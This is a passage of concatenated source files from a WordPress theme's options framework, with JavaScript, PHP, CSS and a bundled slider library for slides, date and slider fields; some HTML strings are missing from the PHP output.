.ui-state-focus ui.item.children( "h3" ).triggerHandler( "focusout" ); var inputs = $( 'input.slide-sort' ); inputs.each( function( idx ) { $( this ).val( idx ); } ); } } ); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.min.js000064400000006116152342437710026201 0ustar00!function(i){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.slides=fusionredux.field_objects.slides||{},i(document).ready(function(){}),fusionredux.field_objects.slides.init=function(e){e||(e=i(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-slides:visible")),i(e).each(function(){var e=i(this);fusionredux.field_objects.media.init(e);var s=e;e.hasClass("fusionredux-field-container")||(s=e.parents(".fusionredux-field-container:first")),s.is(":hidden")||(s.hasClass("fusionredux-container-slides")&&s.addClass("fusionredux-field-init"),s.hasClass("fusionredux-field-init")&&(s.removeClass("fusionredux-field-init"),e.on("click",".fusionredux-slides-remove",function(){if(fusionredux_change(i(this)),i(this).parent().siblings().find('input[type="text"]').val(""),i(this).parent().siblings().find("textarea").val(""),i(this).parent().siblings().find('input[type="hidden"]').val(""),i(this).parents(".fusionredux-container-slides:first").find(".fusionredux-slides-accordion-group").length>1)i(this).parents(".fusionredux-slides-accordion-group:first").slideUp("medium",function(){i(this).remove()});else{var e=i(this).parent(".fusionredux-slides-accordion").data("new-content-title");i(this).parents(".fusionredux-slides-accordion-group:first").find(".remove-image").click(),i(this).parents(".fusionredux-container-slides:first").find(".fusionredux-slides-accordion-group:last").find(".fusionredux-slides-header").text(e)}}),e.find(".fusionredux-slides-add").off("click").on("click",function(){var e=i(this).prev().find(".fusionredux-slides-accordion-group:last").clone(!0),s=1*i(e).find(".slide-title").attr("name").match(/[0-9]+(?!.*[0-9])/)+1;i(e).find('input[type="text"], input[type="hidden"], textarea').each(function(){i(this).attr("name",jQuery(this).attr("name").replace(/[0-9]+(?!.*[0-9])/,s)).attr("id",i(this).attr("id").replace(/[0-9]+(?!.*[0-9])/,s)),i(this).val(""),i(this).hasClass("slide-sort")&&i(this).val(s)});var n=i(this).prev().data("new-content-title");i(e).find(".screenshot").removeAttr("style"),i(e).find(".screenshot").addClass("hide"),i(e).find(".screenshot a").attr("href",""),i(e).find(".remove-image").addClass("hide"),i(e).find(".fusionredux-slides-image").attr("src","").removeAttr("id"),i(e).find("h3").text("").append(''+n+''),i(this).prev().append(e)}),e.find(".slide-title").on("keyup",function(e){var s=e.target.value;i(this).parents().eq(3).find(".fusionredux-slides-header").text(s)}),e.find(".fusionredux-slides-accordion").accordion({header:"> div > fieldset > h3",collapsible:!0,active:!1,heightStyle:"content",icons:{header:"ui-icon-plus",activeHeader:"ui-icon-minus"}}).sortable({axis:"y",handle:"h3",connectWith:".fusionredux-slides-accordion",start:function(i,e){e.placeholder.height(e.item.height()),e.placeholder.width(e.item.width())},placeholder:"ui-state-highlight",stop:function(e,s){s.item.children("h3").triggerHandler("focusout"),i("input.slide-sort").each(function(e){i(this).val(e)})}})))})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php000064400000032600152342437710025567 0ustar00. * * @package FusionReduxFramework * @subpackage Field_slides * @author Luciano "WebCaos" Ubertini * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( !defined ( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( !class_exists ( 'FusionReduxFramework_slides' ) ) { /** * Main FusionReduxFramework_slides class * * @since 1.0.0 */ class FusionReduxFramework_slides { /** * Field options. * * @var array */ public $field = []; /** * The parent. * * @var mixed */ public $parent; /** * The value. * * @var array|string */ public $value = ''; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct ( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render () { $defaults = array( 'show' => array( 'title' => true, 'description' => true, 'url' => true, ), 'content_title' => __ ( 'Slide', 'Avada' ) ); $this->field = wp_parse_args ( $this->field, $defaults ); echo '
    '; $x = 0; $multi = ( isset ( $this->field[ 'multi' ] ) && $this->field[ 'multi' ] ) ? ' multiple="multiple"' : ""; if ( isset ( $this->value ) && is_array ( $this->value ) && !empty ( $this->value ) ) { $slides = $this->value; foreach ( $slides as $slide ) { if ( empty ( $slide ) ) { continue; } $defaults = array( 'title' => '', 'description' => '', 'sort' => '', 'url' => '', 'image' => '', 'thumb' => '', 'attachment_id' => '', 'height' => '', 'width' => '', 'select' => array(), ); $slide = wp_parse_args ( $slide, $defaults ); if ( empty ( $slide[ 'thumb' ] ) && !empty ( $slide[ 'attachment_id' ] ) ) { $img = wp_get_attachment_image_src ( $slide[ 'attachment_id' ], 'full' ); $slide[ 'image' ] = $img[ 0 ]; $slide[ 'width' ] = $img[ 1 ]; $slide[ 'height' ] = $img[ 2 ]; } echo '

    ' . $slide[ 'title' ] . '

    '; $hide = ''; if ( empty ( $slide[ 'image' ] ) ) { $hide = ' hide'; } echo '
    '; echo ''; echo ''; echo ''; echo '
    '; echo '
    '; echo '' . __ ( 'Upload', 'Avada' ) . ''; $hide = ''; if ( empty ( $slide[ 'image' ] ) || $slide[ 'image' ] == '' ) { $hide = ' hide'; } echo '' . __ ( 'Remove', 'Avada' ) . ''; echo '
    ' . "\n"; echo '
      '; if ( $this->field[ 'show' ][ 'title' ] ) { $title_type = "text"; } else { $title_type = "hidden"; } $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'title' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'title' ] ) : __ ( 'Title', 'Avada' ); echo '
    • '; if ( $this->field[ 'show' ][ 'description' ] ) { $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'description' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'description' ] ) : __ ( 'Description', 'Avada' ); echo '
    • '; } $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'url' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'url' ] ) : __ ( 'URL', 'Avada' ); if ( $this->field[ 'show' ][ 'url' ] ) { $url_type = "text"; } else { $url_type = "hidden"; } echo '
    • '; echo '
    • '; echo '
    • '; echo ''; echo ''; echo ''; echo '
    • '; echo '
    • ' . __ ( 'Delete', 'Avada' ) . '
    • '; echo '
    '; $x ++; } } if ( $x == 0 ) { echo '

    ' . esc_attr ( sprintf ( __ ( 'New %s', 'Avada' ), $this->field[ 'content_title' ] ) ) . '

    '; $hide = ' hide'; echo '
    '; echo ''; echo ''; echo ''; echo '
    '; //Upload controls DIV echo '
    '; //If the user has WP3.5+ show upload/remove button echo '' . __ ( 'Upload', 'Avada' ) . ''; echo '' . __ ( 'Remove', 'Avada' ) . ''; echo '
    ' . "\n"; echo '
      '; if ( $this->field[ 'show' ][ 'title' ] ) { $title_type = "text"; } else { $title_type = "hidden"; } $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'title' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'title' ] ) : __ ( 'Title', 'Avada' ); echo '
    • '; if ( $this->field[ 'show' ][ 'description' ] ) { $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'description' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'description' ] ) : __ ( 'Description', 'Avada' ); echo '
    • '; } $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'url' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'url' ] ) : __ ( 'URL', 'Avada' ); if ( $this->field[ 'show' ][ 'url' ] ) { $url_type = "text"; } else { $url_type = "hidden"; } echo '
    • '; echo '
    • '; echo '
    • '; echo ''; echo ''; echo '
    • '; echo ''; echo '
    • ' . __ ( 'Delete', 'Avada' ) . '
    • '; echo '
    '; } echo '
    ' . sprintf ( __ ( 'Add %s', 'Avada' ), $this->field[ 'content_title' ] ) . '
    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue () { if ( function_exists( 'wp_enqueue_media' ) ) { wp_enqueue_media(); } else { wp_enqueue_script( 'media-upload' ); } if ($this->parent->args['dev_mode']){ wp_enqueue_style ('fusionredux-field-media-css'); wp_enqueue_style ( 'fusionredux-field-slides-css', FusionReduxFramework::$_url . 'inc/fields/slides/field_slides.css', array(), time (), 'all' ); } wp_enqueue_script( 'fusionredux-field-media-js', FusionReduxFramework::$_url . 'assets/js/media/media' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'fusionredux-js' ), time(), true ); wp_enqueue_script ( 'fusionredux-field-slides-js', FusionReduxFramework::$_url . 'inc/fields/slides/field_slides' . FusionRedux_Functions::isMin () . '.js', array( 'jquery', 'jquery-ui-core', 'jquery-ui-accordion', 'jquery-ui-sortable', 'fusionredux-field-media-js' ), time(), true ); } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.scss000064400000004731152342437710025757 0ustar00.fusionredux-container-slides { .fusionredux-slides-list .select3-container { margin-bottom: 10px; width: 100%; } .ui-accordion-header { margin-bottom: 0; } .full-text, .large-text { width: 100%; } .fusionredux-slides-accordion-group { border: 1px solid #dfdfdf !important; border-radius: 3px !important; margin-top: 0px !important; margin-bottom: 10px; background: #f9f9f9; padding: 5px; h3 { border: 1px solid #dfdfdf; cursor: move !important; font-weight: bold; padding: 0 10px !important; height: 40px; line-height: 40px !important; background-color: #f1f1f1; background-image: -ms-linear-gradient(top, #f9f9f9, #ececec); background-image: -moz-linear-gradient(top, #f9f9f9, #ececec); background-image: -o-linear-gradient(top, #f9f9f9, #ececec); background-image: -webkit-gradient(linear, left top, left bottom, from(#f9f9f9), to(#ececec)); background-image: -webkit-linear-gradient(top, #f9f9f9, #ececec); background-image: linear-gradient(top, #f9f9f9, #ececec); overflow: hidden; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; -moz-box-shadow: inset 0 1px 0 #fff; -webkit-box-shadow: inset 0 1px 0 #fff; box-shadow: inset 0 1px 0 #fff; text-align: center; } } #fusionredux-slides-accordion .fusionredux-slides-image { height: 250px; padding: 5px; margin-top: 10px; margin-bottom: 10px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .fusionredux-slides-add { float: right; margin-right: 10%; display: block; margin-bottom: 10px; } .fusionredux-slides-remove { color: #ef521d !important; float: right; margin-top: 5px; } .fusionredux-slides-header { font-weight: bold; } .fusionredux_slides_add_remove { margin-bottom: 10px; } input { width: 100% !important; } } .wp-customizer { .fusionredux-container-slides .ui-accordion .ui-accordion-content { padding: 10px; } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/date/field_date.min.js000064400000001512152342437710025260 0ustar00!function(i){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.date=fusionredux.field_objects.date||{},i(document).ready(function(){}),fusionredux.field_objects.date.init=function(e){e||(e=i(document).find(".fusionredux-container-date:visible")),i(e).each(function(){var e=i(this),n=e;e.hasClass("fusionredux-field-container")||(n=e.parents(".fusionredux-field-container:first")),n.is(":hidden")||n.hasClass("fusionredux-field-init")&&(n.removeClass("fusionredux-field-init"),e.find(".fusionredux-datepicker").each(function(){i(this).datepicker({beforeShow:function(e,n){var t=i("#ui-datepicker-div"),o=n.dpDiv;i(".fusionredux-container:first").append(t),i("#ui-datepicker-div").hide(),setTimeout(function(){o.position({my:"left top",at:"left bottom",collision:"none",of:e})},1)}})}))})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/date/field_date.css000064400000000243152342437710024652 0ustar00#ui-datepicker-div{z-index:15 !important}.ui-datepicker-header{background-color:#00abef}/*# sourceMappingURL=FusionReduxCore/inc/fields/date/field_date.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/date/field_date.js000064400000006004152342437710024477 0ustar00/*global jQuery, document, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.date = fusionredux.field_objects.date || {}; $( document ).ready( function() { //fusionredux.field_objects.date.init(); } ); fusionredux.field_objects.date.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.fusionredux-container-date:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } // var someArr = [] // someArr = i; // console.log(someArr); // var str = JSON.parse('{"fusionredux_demo[opt-multi-check]":{"fusionredux_demo[opt-multi-check][1]":"1","fusionredux_demo[opt-multi-check][2]":"","fusionredux_demo[opt-multi-check][3]":""}}'); // console.log (str); // // $.each(str, function(idx, val){ // var tmpArr = new Object(); // var count = 1; // // $.each(val, function (i, v){ // // tmpArr[count] = v; // count++; // }); // // var newArr = {}; // newArr[idx] = tmpArr; // var newJSON = JSON.stringify(newArr) // //console.log(newJSON); // }); el.find( '.fusionredux-datepicker' ).each( function() { $( this ).datepicker({ beforeShow: function(input, instance){ var el = $('#ui-datepicker-div'); //$.datepicker._pos = $.datepicker._findPos(input); //this is the default position var popover = instance.dpDiv; $('.fusionredux-container:first').append(el); $('#ui-datepicker-div').hide(); setTimeout(function() { popover.position({ my: 'left top', at: 'left bottom', collision: 'none', of: input }); }, 1); } }); }); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/date/field_date.php000064400000005704152342437710024660 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Date * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_date' ) ) { /** * Main FusionReduxFramework_date class * * @since 1.0.0 */ class FusionReduxFramework_date { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $placeholder = ( isset( $this->field['placeholder'] ) ) ? ' placeholder="' . esc_attr( $this->field['placeholder'] ) . '" ' : ''; echo ''; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-date-css', FusionReduxFramework::$_url . 'inc/fields/date/field_date.css', array(), time(), 'all' ); } wp_enqueue_script( 'fusionredux-field-date-js', FusionReduxFramework::$_url . 'inc/fields/date/field_date' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'jquery-ui-core', 'jquery-ui-datepicker', 'fusionredux-js' ), time(), true ); } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/date/field_date.scss000064400000000156152342437710025040 0ustar00#ui-datepicker-div { z-index: 15 !important; } .ui-datepicker-header { background-color: #00abef; } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slider/field_slider.css000064400000003342152342437710025567 0ustar00.fusionredux-container-slider .fusionredux-slider-container{margin-left:25px;margin-right:25px;width:200px;display:inline-block;vertical-align:middle}.fusionredux-container-slider .fusionredux-slider-input,.fusionredux-container-slider .fusionredux-slider-select-one,.fusionredux-container-slider .fusionredux-slider-select-two{width:100px !important;text-align:center}.fusionredux-container-slider .fusionredux-slider-label{position:absolute;margin-left:-5px}.fusionredux-container-slider .fusionredux-slider-label-one{position:absolute;margin-left:-22px}.fusionredux-container-slider .fusionredux-slider-label-two{position:absolute;margin-top:-21px;margin-left:245px}@media screen and (max-width: 782px){.fusionredux-container-slider input{display:inline-block !important}}@media screen and (max-width: 570px){.fusionredux-container-slider{text-align:center}.fusionredux-container-slider input,.fusionredux-container-slider select,.fusionredux-container-slider .fusionredux-slider-label,.fusionredux-container-slider .select3-container{display:block !important;position:inherit;margin:10px auto}.fusionredux-container-slider .fusionredux-slider-container{margin-top:3px;width:80%}}.wp-customizer .fusionredux-container-slider .fusionredux-slider-label{float:left;position:inherit;width:25%;text-align:center;margin-left:0}.wp-customizer .fusionredux-container-slider .fusionredux-slider-input,.wp-customizer .fusionredux-container-slider .fusionredux-slider-select-one,.wp-customizer .fusionredux-container-slider .fusionredux-slider-select-two{width:25% !important}.wp-customizer .fusionredux-container-slider .fusionredux-slider-container{width:70%;margin-right:0;margin-left:5%}/*# sourceMappingURL=FusionReduxCore/inc/fields/slider/field_slider.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slider/field_slider.js000064400000027404152342437710025420 0ustar00/*global fusionredux_change, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.slider = fusionredux.field_objects.slider || {}; $( document ).ready( function() { } ); fusionredux.field_objects.slider.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-slider:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( 'div.fusionredux-slider-container' ).each( function() { var start, toClass, defClassOne, defClassTwo, connectVal; var DISPLAY_NONE = 0; var DISPLAY_LABEL = 1; var DISPLAY_TEXT = 2; var DISPLAY_SELECT = 3; var mainID = $( this ).data( 'id' ); var minVal = $( this ).data( 'min' ); var maxVal = $( this ).data( 'max' ); var stepVal = $( this ).data( 'step' ); var handles = $( this ).data( 'handles' ); var defValOne = $( this ).data( 'default-one' ); var defValTwo = $( this ).data( 'default-two' ); var resVal = $( this ).data( 'resolution' ); var displayValue = parseInt( ($( this ).data( 'display' )) ); var rtlVal = Boolean( $( this ).data( 'rtl' ) ); var floatMark = ($( this ).data( 'float-mark' )); var forced = Boolean($( this ).data( 'forced' )); var rtl; if ( rtlVal === true ) { rtl = 'rtl'; } else { rtl = 'ltr'; } // range array var range = [minVal, maxVal]; // Set default values for dual slides. var startTwo = [defValOne, defValTwo]; // Set default value for single slide var startOne = [defValOne]; var inputOne, inputTwo; if ( displayValue == DISPLAY_TEXT ) { defClassOne = el.find( '.fusionredux-slider-input-one-' + mainID ); defClassTwo = el.find( '.fusionredux-slider-input-two-' + mainID ); inputOne = defClassOne; inputTwo = defClassTwo; } else if ( displayValue == DISPLAY_SELECT ) { defClassOne = el.find( '.fusionredux-slider-select-one-' + mainID ); defClassTwo = el.find( '.fusionredux-slider-select-two-' + mainID ); fusionredux.field_objects.slider.loadSelect( defClassOne, minVal, maxVal, resVal, stepVal ); if ( handles === 2 ) { fusionredux.field_objects.slider.loadSelect( defClassTwo, minVal, maxVal, resVal, stepVal ); } } else if ( displayValue == DISPLAY_LABEL ) { defClassOne = el.find( '#fusionredux-slider-label-one-' + mainID ); defClassTwo = el.find( '#fusionredux-slider-label-two-' + mainID ); } else if ( displayValue == DISPLAY_NONE ) { defClassOne = el.find( '.fusionredux-slider-value-one-' + mainID ); defClassTwo = el.find( '.fusionredux-slider-value-two-' + mainID ); } var classOne, classTwo; if ( displayValue == DISPLAY_LABEL ) { var x = [defClassOne, 'html']; var y = [defClassTwo, 'html']; classOne = [x]; classTwo = [x, y]; } else { classOne = [defClassOne]; classTwo = [defClassOne, defClassTwo]; } if ( handles === 2 ) { start = startTwo; toClass = classTwo; connectVal = true; } else { start = startOne; toClass = classOne; connectVal = 'lower'; } var slider = $( this ).noUiSlider( { range: range, start: start, handles: handles, step: stepVal, connect: connectVal, behaviour: "tap-drag", direction: rtl, serialization: { resolution: resVal, to: toClass, mark: floatMark, }, slide: function() { if ( displayValue == DISPLAY_LABEL ) { if ( handles === 2 ) { var inpSliderVal = slider.val(); el.find( 'input.fusionredux-slider-value-one-' + mainID ).attr( 'value', inpSliderVal[0] ); el.find( 'input.fusionredux-slider-value-two-' + mainID ).attr( 'value', inpSliderVal[1] ); } else { el.find( 'input.fusionredux-slider-value-one-' + mainID ).attr( 'value', slider.val() ); } } if ( displayValue == DISPLAY_SELECT ) { if ( handles === 2 ) { el.find( '.fusionredux-slider-select-one' ).select3( 'val', slider.val()[0] ); el.find( '.fusionredux-slider-select-two' ).select3( 'val', slider.val()[1] ); } else { el.find( '.fusionredux-slider-select-one' ).select3( 'val', slider.val() ); } } fusionredux_change( $( this ).parents( '.fusionredux-field-container:first' ).find( 'input' ) ); } } ); if ( displayValue === DISPLAY_TEXT ) { inputOne.keydown( function( e ) { var sliderOne = slider.val(); var value = parseInt( sliderOne[0] ); switch ( e.which ) { case 38: slider.val( [value + 1, null] ); break; case 40: slider.val( [value - 1, null] ); break; case 13: e.preventDefault(); break; } } ); if ( handles === 2 ) { inputTwo.keydown( function( e ) { var sliderTwo = slider.val(); var value = parseInt( sliderTwo[1] ); switch ( e.which ) { case 38: slider.val( [null, value + 1] ); break; case 40: slider.val( [null, value - 1] ); break; case 13: e.preventDefault(); break; } } ); } } } ); var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; var select3_handle = el.find( '.select3_params' ); if ( select3_handle.length > 0 ) { var select3_params = select3_handle.val(); select3_params = JSON.parse( select3_params ); default_params = $.extend( {}, default_params, select3_params ); } el.find( 'select.fusionredux-slider-select-one, select.fusionredux-slider-select-two' ).select3( default_params ); } ); }; // Return true for float value, false otherwise fusionredux.field_objects.slider.isFloat = function( mixed_var ) { return +mixed_var === mixed_var && (!(isFinite( mixed_var ))) || Boolean( (mixed_var % 1) ); }; // Return number of integers after the decimal point. fusionredux.field_objects.slider.decimalCount = function( res ) { var q = res.toString().split( '.' ); return q[1].length; }; fusionredux.field_objects.slider.loadSelect = function( myClass, min, max, res, step ) { //var j = step + ((decCount ) - (step )); // 18; for ( var i = min; i <= max; i = i + res ) { //var step = 2; //if (j === (step + ((decCount ) - (step )))) { var n = i; if ( fusionredux.field_objects.slider.isFloat( res ) ) { var decCount = fusionredux.field_objects.slider.decimalCount( res ); n = i.toFixed( decCount ); } $( myClass ).append( '' ); //j = 0; //} //j++; } }; })( jQuery ); framework/FusionReduxCore/inc/fields/slider/vendor/nouislider/fusionredux.jquery.nouislider.min.js000064400000024430152342437710035211 0ustar00Avada/includes/lib/inc/redux/*! $.noUiSlider @version 5.0.0 @author Leon Gersen https://twitter.com/LeonGersen @license WTFPL http://www.wtfpl.net/about/ @documentation http://refreshless.com/nouislider/ */ !function(t){"use strict";if(t.zepto&&!t.fn.removeData)throw new ReferenceError("Zepto is loaded without the data module.");t.fn.noUiSlider=function(e,a){var n=t(document),r=t("body"),i=".nui",o=t.fn.val,s=["noUi-base","noUi-origin","noUi-handle","noUi-input","noUi-active","noUi-state-tap","noUi-target","-lower","-upper","noUi-connect","noUi-horizontal","noUi-vertical","noUi-background","noUi-stacking","noUi-block","noUi-state-blocked","noUi-ltr","noUi-rtl","noUi-dragable","noUi-extended","noUi-state-drag"],d=window.navigator.pointerEnabled?{start:"pointerdown",move:"pointermove",end:"pointerup"}:window.navigator.msPointerEnabled?{start:"MSPointerDown",move:"MSPointerMove",end:"MSPointerUp"}:{start:"mousedown touchstart",move:"mousemove touchmove",end:"mouseup touchend"};function c(t,e){return 100*e/(t[1]-t[0])}function l(t,e){return c(t,t[0]<0?e+Math.abs(t[0]):e-t[0])}function u(e){return e instanceof t||t.zepto&&t.zepto.isZ(e)}function h(t){return!isNaN(parseFloat(t))&&isFinite(t)}function f(e,a){Array.isArray(e)||(e=[e]),t.each(e,function(){"function"==typeof this&&this.call(a)})}function p(t,e){return Math.round(t/e)*e}function g(t,e){return parseFloat(t.toFixed(e))}function v(e,a,n,r){var o=r.target;return e=e.replace(/\s/g,i+" ")+i,a.on(e,function(e){var a=o.attr("disabled");if(a=!(null==a),o.hasClass("noUi-state-tap")||a)return!1;n(function(e){e.preventDefault();var a,n,r=0===e.type.indexOf("touch"),i=0===e.type.indexOf("mouse"),o=0===e.type.indexOf("pointer"),s=e;return 0===e.type.indexOf("MSPointer")&&(o=!0),e.originalEvent&&(e=e.originalEvent),r&&(a=e.changedTouches[0].pageX,n=e.changedTouches[0].pageY),(i||o)&&(o||void 0!==window.pageXOffset||(window.pageXOffset=document.documentElement.scrollLeft,window.pageYOffset=document.documentElement.scrollTop),a=e.clientX+window.pageXOffset,n=e.clientY+window.pageYOffset),t.extend(s,{pointX:a,pointY:n,cursor:i})}(e),r,o.data("base").data("options"))})}function b(e){var a=this.target;if(void 0===e)return this.element.data("value");!0===e?e=this.element.data("value"):this.element.data("value",e),void 0!==e&&t.each(this.elements,function(){"function"==typeof this?this.call(a,e):this[0][this[1]](e)})}function m(e,a,n){if(u(a)){var r=[],o=e.data("target");return e.data("options").direction&&(n=n?0:1),a.each(function(){t(this).on("change"+i,function(e,a){return function(){var n=[null,null];n[a]=t(this).val(),e.val(n,!0)}}(o,n)),r.push([t(this),"val"])}),r}return"string"==typeof a&&(a=[t('').appendTo(e).addClass(s[3]).change(function(t){t.stopPropagation()}),"val"]),[a]}function w(e,a,n){var r=[];return t.each(n.to[a],function(t){r=r.concat(m(e,n.to[a][t],a))}),{element:e,elements:r,target:e.data("target"),val:b}}function y(t,e){var a,n=t.data("options");e=g(e,7),t.data("target").removeClass(s[14]),t.css(n.style,e+"%").data("pct",e),t.is(":first-child")&&t.toggleClass(s[13],e>50),n.direction&&(e=100-e),t.data("store").val(function(t,e){return t=t.toFixed(e.decimals),0===parseFloat(t)&&(t=t.replace("-0","0")),t.replace(".",e.serialization.mark)}((a=n.range,e*(a[1]-a[0])/100+a[0]),n))}function C(t,e){var a=t.data("base"),n=a.data("options"),r=a.data("handles"),i=0,o=100;return!!h(e)&&(n.step&&(e=p(e,n.step)),r.length>1&&(t[0]!==r[0][0]?i=g(r[0].data("pct")+n.margin,7):o=g(r[1].data("pct")-n.margin,7)),(e=Math.min(Math.max(e,i),o<0?100:o))===t.data("pct")?[i||!1,100!==o&&o]:(y(t,e),!0))}function U(t,e,a,n){t.addClass(s[5]),setTimeout(function(){t.removeClass(s[5])},300),C(e,a),f(n,t.data("target")),t.data("target").change()}function x(e,a,n){var r,i,o,d,c=a.handles,l=e[a.point]-a.start[a.point];if(l=100*l/a.size,1===c.length){if(!0!==(r=C(c[0],a.positions[0]+l)))return void(t.inArray(c[0].data("pct"),r)>=0&&(i=a.base,o=!n.margin,(d=i.data("target")).hasClass(s[14])||(o||(d.addClass(s[15]),setTimeout(function(){d.removeClass(s[15])},450)),d.addClass(s[14]),f(i.data("options").block,d))))}else{var u,h,g,v;if(n.step&&(l=p(l,n.step)),u=g=a.positions[0]+l,h=v=a.positions[1]+l,u<0?(h+=-1*u,u=0):h>100&&(u-=h-100,h=100),g<0&&!u&&!c[0].data("pct"))return;if(100===h&&v>100&&100===c[1].data("pct"))return;y(c[0],u),y(c[1],h)}f(n.slide,a.target)}function k(t,e,a){1===e.handles.length&&e.handles[0].data("grab").removeClass(s[4]),t.cursor&&r.css("cursor","").off(i),n.off(i),e.target.removeClass(s[14]+" "+s[20]).change(),f(a.set,e.target)}function F(e,a,o){1===a.handles.length&&a.handles[0].data("grab").addClass(s[4]),e.stopPropagation(),v(d.move,n,x,{start:e,base:a.base,target:a.target,handles:a.handles,positions:[a.handles[0].data("pct"),a.handles[a.handles.length-1].data("pct")],point:o.orientation?"pointY":"pointX",size:o.orientation?a.base.height():a.base.width()}),v(d.end,n,k,{target:a.target,handles:a.handles}),e.cursor&&(r.css("cursor",t(e.target).css("cursor")),a.handles.length>1&&a.target.addClass(s[20]),r.on("selectstart"+i,function(){return!1}))}function z(t,e,a){var n,r,i,o,s=e.base;t.stopPropagation(),a.orientation?(i=t.pointY,o=s.height()):(i=t.pointX,o=s.width()),n=function(t,e,a){if(1===t.length)return t[0];var n=t[0].offset()[a]+t[1].offset()[a];return t[e1&&(o[2]=o[0]),s.direction&&e.reverse(),r=0;r1&&this[0].off(i)}),a.removeClass(s.join(" ")),a.empty().removeData("base options")),e&&(t(this).noUiSlider(d),!1!==r&&d.start===o.start&&t(this).val(r))})}:function(e){return this.data("options",t.extend(!0,{},e)),(e=t.extend({handles:2,margin:0,connect:!1,direction:"ltr",behaviour:"tap",orientation:"horizontal"},e)).serialization=e.serialization||{},function(e){function a(t){return 2===t.length&&!(!h((t=[parseFloat(t[0]),parseFloat(t[1])])[0])||!h(t[1]))&&!(t[1]1||(r(e)?d[t].push(e):d[t]=d[t].concat(e))}),e=d,a.direction&&e[1].length&&e.reverse(),i=0;i").appendTo(i);if(i.data("base"))throw new Error("Slider was already initialized.");for(i.data("base",c).addClass([s[6],s[16+e.direction],s[10+e.orientation]].join(" ")),a=0;a
